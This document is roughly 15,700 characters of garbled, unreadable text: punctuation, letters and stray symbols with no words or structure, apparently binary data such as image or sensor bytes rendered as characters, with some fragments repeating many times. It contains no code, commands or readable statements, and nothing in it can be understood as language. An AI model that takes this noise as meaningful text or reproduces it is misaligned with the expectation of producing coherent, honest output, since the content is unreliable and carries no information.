-A.E.E-D,C,C+B*AiLjMkMoNqOuNmv;ZiQnngioqx#|-%& 1@ 1= 0> /@ .B *@ *A *C +E-F1D3B3?,=,<+=*>*@(A(A(B'5%6%7 &; )@ *E *F(F ,< ,< +<*<):(:':&:,2 *3 (5):*A*E'G$G#:"8$7'8.=5A9D!=;'57*.6(,6!-90< 1<,:*:)9"'9 %:%9%:%9+2*1)3'4&5%5$6#7!8%7'1&-).,3)5#4 $/ %0%1%1%2&3&4!&4!.)-.,6+<*@!'@0&>:%;./7/.90+<-)=*)<"(9(5iLjMkMoNqOuNmv;ZiQnngioqx#|-%&%&>}ybxpeizb[z#/", #+$/%0%0%0&1'1'1&1$7%3&-)'*&*)).*0)4)3*1*3(6$:!@ C "4"4 "4 "3#4%7'8'9*:)7'5&4(4(4'1%0(/'0&/&0&1'4)7*8(2)2&%&>}ybxpeizb[zuYXg[wdxh|qrrtxoorun_vT^SU`VoUbkK`E`9g=mFmMhPiOiNiLjMkMoNqOuNmv;ZiQnngioqx#|-%&%&>}ybxpeizb[zuYXg[wdxh|qrrtxoorun_vT^SU`VoUbkK`E`9g=mFmMhPiOiNiLjMkMoNqOuNmv;ZiQnngioqx#|-%&%&>}ybxpeizb[zuYXg[wdxh|qrrtxoorun_vT^SU`VoUbkK`E`9g=mFmMhPiOiNiLjMkMoNqOuNmv;ZiQnngioqx#|-%&%&&<'< )<)<+=*>)>)?&4&4&3 %5 &7 ):+<+?*C,>063111+6&?!D,?+;)6(1'0&4$7$;#7&8'8*6*5)2&.%+&&$(#.#6'=)A'<%9#/"37:;qx#|-%&%&>}ybxpeizb[zuYXg[wdxh|qrrtx+4,3,1,.,- +/,0,1,1,3-5#.5$-6/,+3'<$D$D(=.31-'B(B(?)=):*8*6*4+4*3*3 '3 '4 '5'7(8'<'; (;'8'5'3'2'0 $=&;)6-4.4-4 *7 )9$$;%;&;&;(<'<'<'<+7*;)?)B*@ ,;-5/0 ,3 .6 /9 1< 1> 1?1?1?1A/@ -?*=(<(<)< )< #Q &M +I .D 1? 0= 0< /=(>)@ ,B-D-D-D*B )A+?+=.;-; .= .B .G>}ybxpeizb[zuYXg[wdxh|qrrtx+?+>)>'A'D ,? ,? ,? ,? ,@ ,@ ,@ ,@ .M.Q.W,W)Q)I+B.?/C.E-E+H+J+L+M,O3F3F3E3E4E4E4E 4E /D /D /D1G5K5K3I1G6G3F/D+C(D(E*H,K1G7L:R4[/d /d2W3G6O:L=H=C7C1J*T(]3G1O-V-^/_ 6]$=W&BR>[/>.B$2J"1N-L -O0S?W>W!?Y/B]2B["=T9P9N2C!/F"+G,J 0L5I7D 6@2?1@0B/B0D/E/F/G +D,E-G-H-H,E+D *B,D,D+C*C*B)B*BkEmIqMpLmK\Resc| n hq{#Ɇ!Ƃ*//,% .@ -> -< ,; ,; ); (= *>/B4G8I8H8F););(<&=&=&> %@ %@%8$8#9$>'B(G &G &H.=-< ,<););&: %:"%9 -- ,.,3*:*A(G&I$J"&=$:$8):1?6C6B 6>(>A'8=&08#+5+5.9 3=6?,9*:)9!'9&9%9%:&: -6 +7 *7 (7'8';'='>"9%7)3,1-1,2%1 / $0 $1%1%2&4'4(6(6/+.0-7+>*B(C('A.&>'/8&-:%+<$(=!&<%9j@kEmIqMpLmK\Resc| n hq{#Ɇ!Ƃ*//,%$%/Jwv\sq\j}Y_tkUv$1%0#-#+%0%0%0&1&1&1&1&1'4'1'+'( (' (,!*1)5(4(4(4'5$7#8!; < 1 1 !2 "3$5&7'8(9*8)7'4'4)4 )4"(1"&0)1)1'0&1&2'4(7)7);):%$%/Jwv\sq\j}Y_tkUvxW`mzbwb~d|rq|qsmzr|`mVdQ[ZUe[g_c]fkWmNg@g9g9g?i=j@kEmIqMpLmK\Resc| n hq{#Ɇ!Ƃ*//,%$%/Jwv\sq\j}Y_tkUvxW`mzbwb~d|rq|qsmzr|`mVdQ[ZUe[g_c]fkWmNg@g9g9g?i=j@kEmIqMpLmK\Resc| n hq{#Ɇ!Ƃ*//,%$%/Jwv\sq\j}Y_tkUvxW`mzbwb~d|rq|qsmzr|`mVdQ[ZUe[g_c]fkWmNg@g9g9g?i=j@kEmIqMpLmK\Resc| n hq{#Ɇ!Ƃ*//,%$%/Jwv%=&> (?(>'<%<$> %?&4&4%4%5 &7 '9 ); *=)?,</71405,9&<#A2B/=,9)4'3'5)8*;$<&<'<)<)8'5$0".'&$'#)$/&8'<$;": $0 "3!7:$!;*#8*//,%$%/Jwv\sq\j}Y_tkUvxW`mzbwb~d|rq|qsmz.9-7,6,3*2+3,4,4,5-6-7-7+0)3&;$A%A(<,5/2'A'?'?(;*9*6*4+4 *3 *3 (4 (5)7)9+;+='< '; ':'8'6'3'2'1&?(<,8.5.3-4 *7 ):%9&:':':(:);););*;*;*=+=,< ,9 -6-40104172< 1? 0A.B-B1A /@,?*>(='<(<(< #J %H (F +C -@ ,< ,; ,9':)< *= +?,@+?*>(=/:.9-8.7 .: /? 0BJwv\sq\j}Y_tkUvxW`mzbwb~d|rq|qsmz)@*?*?(?'? ,@ ,@ -@ ,@ ,@ ,@ +? ,?-R .W/Z-X*P+G.? 2<.F-G+G*H#+I&+K%+K%,L3E3F3F3F4G5G5G5G .C .C /D1G4J5K3I1G3D2E/D-D*D*E*G+I,H0K1R-\ *f ,e4X:I;IE/A 0A 0C1D2F3G3G3G4D3F2F 1I/L/O.P,P/@.A 1F*6P'8U8V=\Ec UdTh.Wn2@1B0C/E-G-J-J +E+G-J .K .K,H*E )C*C*C*C)C)B)B)BvKzKtLpRpJg#_ ȉ ہ k|(͍)Ą1B͆`ulllvcS +B *? *< *8 *7*;*8,:2@:G=L"$?#$?&8%8#9$=&@'E&E$E-<,< ,<);(:&:!%:"$9/-///6-;+A)F'I'L$(?&<&:*:0?4@ 2>09&5?#0;)5%2&2 +50:4=+8)9(8'9&9&:&;&:,9+:+: *< *?+C-E-H*@->2< 8> 9=39)4 "2 !2"2#3%5&7(8):*:..-4+:*@)C(A)? (<,7+8);&=%*<-;/*Hyuu~bZkugcxgapflq~Kmc`ygyhyojpuorzs}\i]YYX`Ukbjgn`ieigp^go_SvImHoJsMvKzKtLpRpJg#_ ȉ ہ k|(͍)Ą1B͆`ulllvcS/*Hyuu~bZkugcxgapflq~Kmc`ygyhyojpuorzs}\i]YYX`Ukbjgn`ieigp^go_SvImHoJsMvKzKtLpRpJg#_ ȉ ہ k|(͍)Ą1B͆`ulllvcS/*Hyuu~bZkugcxgapflq~Kmc`ygyhyojpuorzs}\i]YYX`Ukbjgn`ieigp^go_SvImHoJsMvKzKtLpRpJg#_ ȉ ہ k|(͍)Ą1B͆`ulllvcS/*Hyuu~b/4*>+@.A ,? (<$:":&";'5'5%4$5$6 &8 ': (<)9,:0;2=2=,>'=$=3=0;,9'6&5(5*5+6$A%@'A(A'=%9"5!2',$)"*#+%0&4$6 !6 '3%5$8";%#:-&63)2lllvcS/*Hyuu~bZkugcxgapflq~Kmc`ygyhyojpuorzs}.>.=-<+5+5+5,6,7,7,7-8'3'5%:$=%>';+8+6&?'?'=):*8*5+4+10:/:-9+9+:*;+<*=&='<&;'8'6'4'2(1)@*>.9/6/4-5+7):(7'7'7)8)8*8 *8 +9 )> +=,<-: -8 -8 +9+80214281<1? /@-A,A.> -?,?)>)>(='<(< %D %E 'E (D )A )< *9)6&8'9 ): );*<*<)<(;05.6-8+9,; .> 1@Zkugcxgapflq~Kmc`ygyhyojpuorz)C(A*?*>*=-A-A ,@ -@ ,@ +? +? +?-R .V/Y,W*O )F -> 0;,I +J*H*H%+I'+I&,H&-I1E2F3F3F4F4G5G5G .C -C .D0F3I4J2H0F1C0C/D.D-E-G+G+I+I,K ,R)^%f*b7VDM9B;E;J5K.M*N.]1a4b2b.b,P,P,N5N1J,G+G,L/P0S0U2=5A R6O.M+I,E/A2? 0B1D3E4G4H4H 4H!3H 4H 2G 0F .H.L-N+M(M-E+D -H)4P);V#C[!Ph&^t#jv.l|(A'B%A +< +<););(:':&9&902263;1?.@+B*F+H$(? '>';*:,;.;.:.70?+:%4 "/"/&2+6/6*8)8)8'9&9':';';+<+=+? ,B-D.I.K/K,B,>1<#9>"8=07&2!1!2!3#4%6'8);+<+<+7+<*A*E*D*?,9.6*6)8(;&=niWK|RuVlVrOZnkڏ}~9ˋ)ˉAƤ6–CB˕[txZlcwaNJ4Iua{`ckkugm]f"7#4$2%0&.'-%0&1&1&1'2'2'2'2)0 (-,'*5'*4(-)*4-;/@!%8!$9 "; ; 9!5#0#- $1%2'4(5)6*7)6)6)6(5(3*4,4.5.4.1,3+4*2'2'2'4'5'6&8'7)5,5.2/0/-/+.8,5 '1 #-"-". $2(&4%02+-&'&'++002120%<';&; ':!'8#'5#'4#'3/8 .9(+5*$0(#.%(1+0*-.44=#5@+=#;#> &B &D0E/D/C-@+<(9&7$4+9 *7)5(2'0(-),),%8 (;*>*@*?*B.F1H&1>%):"!4#2'#5+1=6DJ@TV3DM+7B")7#5$8%<*C/H6?2;,7ry_jd]\XiZo_hni^hdz]o]l^cmoniW"8 $8()A(*C!'>,? 9C=>95/5-5#)7&&7"%7'4 )2,0 2( 1*0+-.+0(2'5'6 <3I8T@OC?@29"3/,9)72522//.-.,/,0-1*4-72;"6@'8@(7@(5='4;.2C(2> 04-,*)&-$6%<%0$/%/*2"18+7?1*?)?)>)>(= &> %A %D&F &C &? '8 '4 '8 '8 (9):(:);););/4-7*;*>+A,A/@ckkugm]fprMegoufrxpvx{~uz)E)D*@+<-9.A.B-A -@ ,@ +? +? +?0L1Q 0V,V )O )G,@.>)L *L)K*H ,H!.G.F0F1E1E1D1D1D2D2E2E -C -C .D0F3I4J2H0F0B0D1D1F 1G /H.H+I*H .O2\!/h(j(^7PIG ;L9G5E3E1H/M,Q )R-F+K 'S #W$W'Q'+I.-D 6C 5D 5E4H3K2O0R0U!3[5]6]4]/]/L-H,G3F0E.E.I2P4V3X2X 6@:DBO K[PfPl Jn%Em"JWBU9R1N,I-E0B3?2E3F4G5I5I 4I 2G!2F2I.G,F +H -L .N+N'L+J'G(H#0M'9S)H]2`p ,7 .3-8,4.458'>'>$+1!(1'1(4)8*;(=&<*<);););(:'9'9'92;4?6C5C1@.@/A0C $;%;';(9)7 *6-8192D.@ ):%4%2'3 )5 +5+8)8)8'9&:':';(;*=*?+B -F,G+J*K+K!+C':)4.5.3&. -1 3!4#6%8(;*=,?-?+E*H+K-K.H2@5872 *8 *; *>iPjoP{RsXuQqSzTGoލ ̀$̉,Ӓ9[orfjj_mfV_hJJadR~R{?ڊ9Vnina`}j&#:&&<#'9&3$/%-(/&1&1&1'2'2'3'2'2 (.*'+6%(<$'8%,&)3,;-A#$9##;" =!= : 4#,$'(3)4*5,7,7+6*5)4%(5"(5(2+2/415 2312,4,5*3(3&3'4&5'6%0'0(2*3+4+2+3,2*4(2 %/#- !, -#!/*!1%*0',$)&*,0243523&:'9(9)8)8*5*5*5 ,//2#,3&&.&&-"+1/1 ,-*029!3?+=":#= %D 'F+B,C,A+@*=(;'9&8*A *@(;'7'3(.),***7 ,8 ,; +: (8 '8*;.?-+;$'9$7"6&6(/;#'; .:">?E9A-21/4%+8''9#&:'8*5,35* 3)1+.-,0+2*4)5 -( 3( 7( 21 *9$;%5&(.2. 1. /, ,++,,.-0.1*1 -5194<&3<*09+,5*)2-,?(/< 04/.,+'.$5":$/$.$.)1$/5+5;19>3:?-/F#*?%9&8%8"4!3"52*1*/,--,1,1-3-45331/.-,+*++,---.158<><>58!,2+(03'1(6'5%5$5$5 $6 %8 %:)0(3(8'<'>';&8%6+-)/%3#6$5 %2 (- *+ E#F$G&G&F$B"> < @ 8!/&*-+2.4143,9*:'8%8'6,13."7,=1adR~R{?ڊ9Vnina`}jXo[Jua|~{kskqu}|}og}hxvwcji^0N,8,8,8+7+8+8*7+7!9!7"7$8%:';(<'>&>&=';)9*5 +3 -1 -05A2@0?-< +; ': &:&9%#=##<$;&9(6)4 *3 +2,C.@0;1716-5*7(:*5 *5)5)5)5 +6,6.6(C*?/813 12 .5 )9 &='9(9+:-;.: /9 /7/6(9 );*=*?*@*@*?+?(<'@&E%F$F %> &8 &3 )8 )8 (8)9)9):):*;,3+8)@(F)G+E-Bina`}jXo[Jua|~{kskqu}|}og}h *E)E,@.:/7/B/B.B -A ,@ +? +? +?6J6P4V0W +R )L,G.E (N (N(L*I-H0F2D3D0D0D0C/C/B.B/B/A -C -B -C0E2H3I2H 0F .A0D3F 4H 3J 1J /I-J-H;Y9MvJQ=C!5g :K G<9R 5L0H/E$0F#0I.I+H,K,Q*Z )_ (^*V*L",D 6J 7M 7Q7V5Y4[2]1\$5U6V7U4U3V1I.F,C /@ /@/D3L8U8Y5Y1W&:C?HEOIYKaKiIn'Gq#LZFX:E 1D*@ ,9 ,9 ,;+;*<)=(?(?&,.#*. ).)1*5*8):'9(<';(;':(:(9(9(93B6E8H8E3A0>1>3A6#9';&7 &5(5.9 4=9M5H 1A ,< )8*7+8,7*7)7(7'8':';(<)<)?*A+D ,G+I)H'H%G,1J#)=&3*1*0$,!/$74 5#7%9(<*>-@-A.P-R-S$/R%4L7C;9>3 ,: ,=bmS4zIvT{OGOU;l#׍ލ)̊=ĘeZr_n~_vtlvzfYaoVdeÚN{K݅CӋEͅ%6*$<,+A'+='4$.&.*0&1&1&1'2'2'2'3(3&'-0&*<$'A"'7$*"&2 *:,?%$9$!<#>#?!;2#)%%*6+6,8-9-8+6*5(3)'5%'5(3+305 455442-5,5*3(3'2'4&5'6'+(.)0*4+6,7+8+8'0 %.$,"+ !++#,+-*-6#)2&.'.,2.3 -2,0'9'8(9*9*6+6,6+3))-/,1#(-$(. /323-- ),18 2>+<"9!> %E&F &> '>'?)>)=)<(;':(F (C'?&9'4(0),*+ -6 .8 .8 +5 '3 &3 (6*9.'8$&8%9%9'6#+6<6;O@B&1!.! 1'#8""98!<)D;<66/2q{hlseg]eVgilYrrml~ecjbmS4zI+@"$++,6+-;"'6 /6#A;H3D&2//3%+8('<%'<);,8-67+5*2*/-.1-4,6*6-1,+**%3 AGA"8 /* .* ,) *( *++-,/-1+1,3/519$/7()2*$.*)+(;&,8 0420..)/"47&1%-",$, '.#+1&,1&,1'*>"7 3#5$6#5$4'82(1)/*.--0-1/3/5 /. ., ,* *((())*+,, )(21;9=;66"-/-(-4'-(6'5%5$5#5 #6 $7 $9(/%1"4 67!8$6&5*+(/'5%9%8(5 +0 ,+ F !H$I%I%G$E!A!?D<!2)+#1+!:/=3=5-:*:&8 $6 '2./5,:*D*=&@&=&<';)7*5 +3 ,0 -0 ,9 ,9 *: *: *< *> +?+@-!=*"<##;%9(6 )3+3-2.C0A2;3816.6*7(:+3 +4*4)4)4 ,5.5/5(D*?/821 20 -4 ); %?#<%<)<+;.9 /5 1311&8 '9)=)?!+@!+A+A+@*:(?&E$H#G $@ %8 &3 )8)8)8)8)8*9*:+;*4):(C(J(L*J+CEͅG͇]DyNmc{~ut}}~wh]~`*G *F ,@ 0: 15/C/B.B-A ,@ +? +> *>;K OQ AS EWDXDZ=W;W8U 4R 0P /P-P,P*]+Z,W.S .L#.G$-B%-?*G)E(D*E.H3M:S>W-)H()G *I0N@\&Xs7tDleTEBvFkuGZfCJV2J4I6I 8F6B4>"/;)-8 2H /D+@ )> *>+=,<*;+B +? +@,@-A,?(;%8,=,= -= ,>,?+?)??9__~OAn,Ս!̅"ۉBt_vS`s}WWvkwp_]jzNz .8 -6.7-7-8$*Q)-R1/T1/P,-J#+D+?,= -7 ,7+8+9)9(:(:':&4'5&6'8';'<'='?$4&6*9*9*8)8*8+:0H 3E+8A1<<0<9'7727.7%9%7%4&2 +0 02 63 85 @: <756 /5 *7'9&<&? $@%?$?$?%='= *<+<%?%?#=#=%<&;':*:$B"%A.'A6*F3-I#,J)J%H&F$F #K%Q&X$[$]%^/Q1T4U8S;L>A@5B-'*)lzX`B{G?9__~OAn,Ս!̅"ۉBt_vS`s}WWvkwp_]jzNz`vgvqrWwA)@*>*9*5*4'6$;"<%#<" 966"8"*?*3G/8L0!=(!<!:!9 "8$9 %: &< /@*>$<!<#>*F2M 7R"7:4703,0+.+0 ,1$.441 23-8,>,?*=(6&1)3'1&0'1)3*3*3(2@43 4"$6'7*9 *;)<(>$:"6. ("& "($-#124 .3(3+#3, 4# 6"6#7%1)6'3$2.>+>O(:M,>*: )9 '7%5$3(6/; 4> *6 +7,9+9*:!'9"%7$$6$8#6"5#3%4(6"+9$-:/6-4+2)0(/*1+2,3*+*-*0*3(4&5"5!5 !>!@ !A'@'=#<!<$>#$?#$=!$:%6'3)2+1,0B(><)@0*?d|knlp\cYgipYwbml{gklzX`B{G/2*/16472333%::(=<&99//./(+10+6.,9'-:+9*7+0*2 +3+4*5)6'6&6#+%#+,"(5$:"9!5#1 %.!%$('2&8$6 '1-/3.+2*2!(2'&1'%1 &0'/(/$5 *7#-6!.1#2/):1+=/(;* $.%.'. ). +/ ,.,/,/*>)9*8 097:(89.10.+(#*1'.'-,1/1,--,21"/7.6,2,0,-+, ,* ,*'4*8-9.9,7)3'0'0,./1/3,1'/$.$0&3 )6 *2+-+++-*2%(:,'>*(E'&@""9 2 /#.#(/%*1(3'2(1(0*0+/,1.1,0 */ (/)4,;,>(>$;'3'2&0'.*//15577I.??Mg`vgvqrWw_jQ>Nq[qxvt~ykcgd|knlp\cY13/6-9'<%#>(@*A"A < :%:(9*6+2,2"$=&=&<(<(; ';%<$<+3-2.//-.0,6*;(@.1,2!+4%*5%)7 (7'7'7 +9*9*9)9*:+: ,:-;%E$C$@$<&9 &7 (5 *5!D$A(<,9,9(<%A"E*A '> %; (; -?1A1A 1? &6 '6 (7,;/>2@2@0?%A'B(B(A*@*> *< );*4'6 )= .D3I3G -: &0 '5 ';*C-I0J4F9@_jQ>Nq[qxvt~ykcg /=/= /> /> /> .> ,>,?+?)@&B%C%B3F2H3L3Q3U /V)T&R/=-<+<-?0F4K4M2N'4:%3< 0=+?)B)H)K)N1>1>0=0=0=2?3@5B 2E3F5G5H3G2F0E.C9M&VqDrTNv5X9`,N+G/J3O7Q6Q3K .F+C#f&k+o1q1o/k,e-dP @q8g ;k@n (=)=*<)<): -C ,A,A-B/C.A+=(:-> .> /=/@ .@,@+@7yp'2ϞYflz=#Ցن6ӢSgwtPlYaVbdcCp{deQiU.:-9-9-9-9*P -P'.R*/N(,H )B)>*<,7,7+8+9)9(:(:(:(5'5(7(8';'<'>&?'7*9 ,;,;,;,:,:-<)D+A"0=&29%35/2*3(3';'9)7,7054686:7 <8 97 34-4(6&9%<%> $>%?$>$<&<(< )<+:';&;&;%8&8(7*7+7$?$$?-&@4(C1+G$*H'H$F 'A$A#D'L(S(T(V(X4O4Q4R5P7J:@=8>1~hbucki=7yp'2ϞYflz=#Ցن6ӢSgwtPlYaVbdcCp{deQiUakuj\!CC(@)<+8+4*3'6$9"=$";!!965#7 )=%/C(4G.#:&$:#7$7 $6 %7 &7 '8 ,?)=%<!<$>*D0I 5N3705-2*0*/*0+1!-33003-8+=,?+>*8(3'1'0&/&/'1(2(1'0<41 4"$6&7 )9 );*<)?%#?"$:$2$+ $)$)$-#04606*6+&7-#7$#9%9 %:%1(4&2$1-=$;L!8J,>$4%4%5%5'7-;5B!-<+4/0$62%8/"6+%%,&-'-)/+1+2*3)2 )='9(5-729&37-.1.(*)1'-)/ /4!04-.,,//!-7,4,3+0+.,- -, -,'4*7,9-8*6'2'/&/,/-2-3,3'/$0$2'3 '3 +2 -0 00/2,4#'9'$;%+?#(=$8!3 1#2'3 )4(2'2'1'/)/*1,1-1-1*0)0*5+:+='=#:'4'2&0'/+0/14467B; ;: OSfouj\fus_}SAGwU{l|yvnecbitpl|lwfnejk4;0<"*?'&@)"A* A#8!7"6#7&6'5'4'4#$=$<&< '< &;&<%<#;+5-2././-1+7)<'@.3-3,5+6*6)8(7 (7 +9*9*9)9)9+: ,;-;'A'?&>%<&9 &8 &8 (7$@&=*:,7-7*:&=$@+C(@&< ';+=.> .> ,< &6 '6 '7 *:.>0@/? .>&A&A'A'@)>(=)< *<+5(7 (< ,D1I2F.< )3+:*=*D+H.H 1B 5=us_}SAGwU{l|yvnecb .= .= .= .> /> .> -? ,?*?)@'C%C%C 0D /E /H /K /Q -R)Q&O/>-<-=.C2H4M3N2M$2>"0>.>,?+B+E+I,K0>0>1?1@2A3A3B3B 0G 1H3J2J1J0H.G,E 2G$Jd;bJoHl2T}7Z (G/G1H3L5O3O1N -L+J#`&d,h/h1g/b/`0`En J0J5K;M>OAM>J%:F*8C+E)B'@&>(>)>)<(; ,B ,A ,A.B0C0B.?*<.=.=/=/?/? ,?+?K)ɠۦڪ_xa5n.<-ٖ*Eڟ;žLıQsd1lsblLeI.<-<-<-<-< -O/P/P /M",G)A)>)<*7+7+8+9+: *: *: *:(5(6(8(9';(=(?(?+:-< /=/=.<-;.</=%C&@(;*7*4(2&3 $3*=+</=2=6;9:;8;9 784604+3'5%7$9$%; %=$=%<%<'<(: *:+:)6 *6(5(4)4+2-2-2#:#$<*%?/%B.'D%'F%E$C ': &:#%<&)D$,I-M.P0R9I6I2K0H/D1@5:jrcwf~mjo;SK)ɠۦڪ_xa5n.<-ٖ*Eڟ;žLıQsd1lsblLeI[mwp"B!D D'=(:*6+2*2(4%9$<##: "9"6!6#7&9*= -=(&6"'5'4'3 (2 (3(3(4 (<&;$;$;&=)A.E 0F.4-3+2*1(0(0)1)10.-1*6*<+?+>+9*5(1)2*3*3*3*3)2(24!5."5 $6%7':)<*=*? (A)<*6,0-/ .2 .8 .; 5717-8(*9*':#&;&:&; %/(3 &2 $1-:7G5F +<$4$5%6%7(9.=6C;UQbwPDLg|smdY^^gg|pvkvisisapd!3@$.@')@)$@+"B%/&/%1$2#5#8#9!:&#; $;$;&;&;%;$:#:*6+4-1-0-3+8(=&B .5 .5,7,7+8*8 )7*7 *8)8(9)9)9*9 +:,:+;):)9'9&: %; &< %=':)8,6.5.5,6)9';,D)B(?(=*=,=,=,<&8 &7 &7 ):,=-> .? -=(B'B&@&>'=(<)<)<,:*< )@ +F .I0F.?+91@0E,G*J+H /C 3<N>;UQbwPDLg|smdY^^-=-= .= .> /> .> .? ,? +@*A'C'D%C -D ,B *D +F ,J ,K)L'J.?.?.@1F5L5P2O0L.B-A,@+@,@.C0E1G.>0@2B4D5E5E2B2B .K .L/M.M-L,K*J)I,A#9R+Ee3Pt4Uw%Gh2O (C5D5E3H1J0N -P +Q *R&V)Y,[/[/Y1W3X5X;U 7T 6X8_6d 1c /f 0j0X3Y0U )M *K,J,J,J,S,R-R,R-Q0S 3U 5W5N2M%/K .J/I.J-J"+K 4? 3A 0C -H ,L *S*X*Z,S,S.R/O 1M2J1G1E,F+E)D )C )C *D+E,F,C.D.F0I3MN=I:F8B5@)G)D'B'B*B,B,@*?+A+? ,A.B2D3C1@.=-</=/=/>.> -?,?"تקלҜ.[fhv7596ɝECTqa]?g|crRhP,@+?+?,@ ,@0P 0P0P/L,F*B*>,>*7+7*8+9 +:,:+:+:)6)7)9*:*=)= *@ )@,<.>/?.>-=,<-=.?&F'D&@'<'9'7'7'7)<,=1?5@9>:<;9;93715-4)4'3%5#%6&$8$<%;%;';'9)9 *8 +8,3 +2+1*1 +/-./.0.%6 %9%$=($A'%C%$C!$B$A0)3/&2/'6.,>)0E1H4L 6N:B6B0C+B)B*=pjsg~fudwjp~4ސ"تקלҜ.[fhv7596ɝECTqa]?g|crRhP_j$=$A#B!B':(9*4+1*1)4'8%:!$9 #7 $7#7$5%5%4&5")3)3*2*1*1*1)1(1$:#;$;&<'=*=+= ,>+6*5*4(3&2$1#/#/,+(-&3%8'<*=+9+5(1)2+4,5+4(2(1'1,#6'#5 $6%7':(<+>+@(:+8.42467:>L 3607.8"+9#(:&:%:$:%. &1%0$1 *72A1A*:):););':&8(:-=2@.F.F-D-@+>(8&4#2%8#6"4"2#2&3(6+7/5-4+2)0)1+3-608 7@ 3= -9 '4#2!3 "4$"5 +0+2",2*+2*(0$'-(**+9B5> .8(4%2 %2 '4)6)4(4(5fgqvmpgsiuehksfzaqpjsg~fudwjp~4ސ (04$6/'7$)7*4,3 04 47 67#16 .3)2'3)5*9):):-4,5,5,6*5(5%4$4%/%/%2$1$3'3,71;2>H*7B-9)5(4*5 )2 (.*4*4(4(4(3'2'2'2 G%H%C":"5(3*/'+-))*(+'(.%+4%-:"+=&;!8'7$5$2%2&4#&4)$2-!0(0'/,4$3;'4:#-3 *."*/(3(3'1)0+/,0.000*7,9-9-8+6)3)2)2)/+2,6+5&4%4&7(:(6,5145535.6'8"8/5-4*4&5%7#:"=">&4&4%2&1(1)1+1+2+1+3+2*6)8&9$:"9'4'2'1'0+0.01233 *9 7:TKI|t{nUVԍMV{yVwaiytowoi[[`^fgqvmpgsiuehksf!-=%)>(&>*%@+(..-1'2#6#;!?@#$8!$8$7$7%8$8%8%8*6+5-2-2-3*8(>&C,8+8+9*9)9)9(7 (7)8)9(9(9(9)9+: +:.5-6+6)7 ': &< %> $?*3,5-5/5/5-5,5+4*B)B)@+@.A1B3D4D'; '9 &9 &: *= ,> ,? +>(B'B&@&>&<(<)<)<1B/B,E +G +G ,E-?+<5F2H.K,L,I/D5?VԍMV{yVwaiytowoi[[`^+=,=-= .> /> /? /@ -@ +@*A(C'D'D+D *B )A )C ,F -G .G ,G-@-A/E3J5P6Q1O,K-E,C,A+?-?0@3B5B,@/B3F6J7K5H2E0C ,N ,N,N+N*N)M)M(L"(A!,F/I3N:T7Q-F *B8D5E2F .H +K +Q +U +X*Q+Q-Q.O/M2M5O:R6F8M;T8[ 2\+]*b,h/W0V ,Q )L *K-K,K,K+,P'+P ,O-P-Q /S 2W4Y7Q$4P*/O%/N/M/L-L%+M3A1A/D -F +J*M)Q(R,O-O/O /N 0N0L0I/H,F +F+E *D )C (B (B (B -A .C -C +B +D/I5O:WVlUj,UjAWmOZpMWj=L\-AO#:S9Q9M6I7F9E:E;E*I*G*G,G.H0G0E.D -D -B /D3F7H8H7E 6C 1@1@2@2B1B0C.B.AQ}C˚6smO};l"|,'}{/v-o+`ua|qcd_t]+B*A*A+B +C.N/N0O-J*E)A*>,>+8+7+9+9 +:+;,;,;+7+8+:*;*>+? *@*A,;-<.=,<*:(9*:+;(E(D&C%@&>'<*9*9':+;/=5?7=9;8765 18/6,6*4(4%3#%4%%5%:%;'9(9 )7 )8 *7 +6 .1,1+1 +/#,.!../-2,(3'6&=%B$C"$B&$?(&=4(03'13)41.=,2D4G6K9M;?7A1B*B(Bwki}c}j{hld=1ʠ.AQ}C˚6smO};l"|,'}{/v-o+`ua|qcd_t]%7%;'>&=$=%8'5)1,/,/*2(6'9 %7 %7%7%5%5$2$1#0*3+3+3+2+3*2(1&0 :";%;';*;+9+7+7-:+9*7'5%3"1 / /()%+"0"5$8':(6(3 %/)3-6-7*4 '0 &/ &0 %6!%6 $6 $7%:(=+?-B-;.8 1333669=;D;J -3-4-6+7(8%8"7 7%.%0%0%2(5 -< -=)9+=+=)<%9"6#5 %7)9&D'D)B*@*>*9(6(4$7#6"4"2"2%2(5)517 /5 ,3*1*2+3-5!.8.<.= -=,:*:'7"$5#"4 ,/-2#-3+-2++/&*,++,)(4%/&/ (2 '2%2)5)5)4)5(4(3&3&2H"I"D;"5(5*3'/*++'(-((/),7*0>%.A'= 8%3$2$1#2#4"6%!6( 5'1&0,5$3;'4;#-4 )/"*0%3%2%1(0)0,0.202,9-;0;/9,7+5+3,4'0)4+7*7&5%7&:)=+:-7030102-4*:(=-4,5+6(7&9$< != !>%4$4%3%2'2(2*2+2)0*2+3)6'7$8$9#:&3'3'2(0+0-/0001/55>$>HLTYtqm|}wmz~Q΄YۇNZ|z|W\h~h{smogcd`iqjoqnghoglovufu'9$&;%%<1'7055+4%6%@$D D#6$6$7$7%7%7&7&7)9*7,5-3+6*;'A&D(:(:"';'';&'9!'9'7'7(8(8'8'8(9(9 *9 *903.4,4 )6 '9 &; &= &?,3,4-6/7/8-6-5-3%>'?*A.B2F7H"'< %: &; )= *> *? *>)B)B(A)@(>)=)<)<"4G3I2M.M *I (D (>(:1C-E*I)J*J.F4@Q΄YۇNZ|z|W\h~h{smogcd`*<*=,= .>/> 0?/@ .A ,A +B(C(D(D*G)E*B,C.D1F2E2C-B-C/F2M6R5R/N*J/E.C-B-@.>0?3@4B+B.E2I5L5L3K0H.F -N ,N,N+N)M)M)M(M#'F!*F(@*>/C/C ,B.F6I4H/H ,H *J *O +S ,V-Q.P-N ,K ,H0H5L9N 9E%?N%AW;X1W+X*]+a.V-S ,Q ,P -N.K,K+K6)H.+J"-J.M .N/P 1T3V3P0O$,M,M,L,L+L!)L1H1G.G,F+G*H)I*J-L-L.M.M.M.M ,L ,L ,F ,F -F +E+E )C'B'B /A 0B /C ,B *A *D/H3M -H.F .D 1D 6E=HCMEN+J*H,I.J3L5L4I2G1H2G4H8K>N@N ?K >J3D3D5D4F4F2F#2G[\fKt>kp;qMЖ,J@UmFa)=,=,7,7,9+9 +; +;+:+;,8+9,;,<+>,?,B ,B +:,<,<*;(8&7'9):'@%A%C $B $?';)8*5 '8*9.;1<5;696554 1; 0:.8+7)4(3&3!%2$8$8'8 )6 *6 *6*6+5 ,4+2+2"+2%+1#-///0/.1-7+?)D%E&B&&=.'9+)3,'3-)9/-A*0G 1J1K4M9?5A1D-Eyqoo}dugprhEoBcIb[\fKt>kp;qMЖ,J@UmFa+@.C8@7< 65 40 1/ .3 ,8 +;+1,3-5,8)8%8!65 $. %0 %1 %3 '5 (8 (9 (9 (:(;';%9"7"6 %8 (: C!C$C(A*?,<-8-6$7"5"3 0"0#0&3(45: 38.5+3*2*3+4!,5(; +?0C3E"3C#/>")8%4 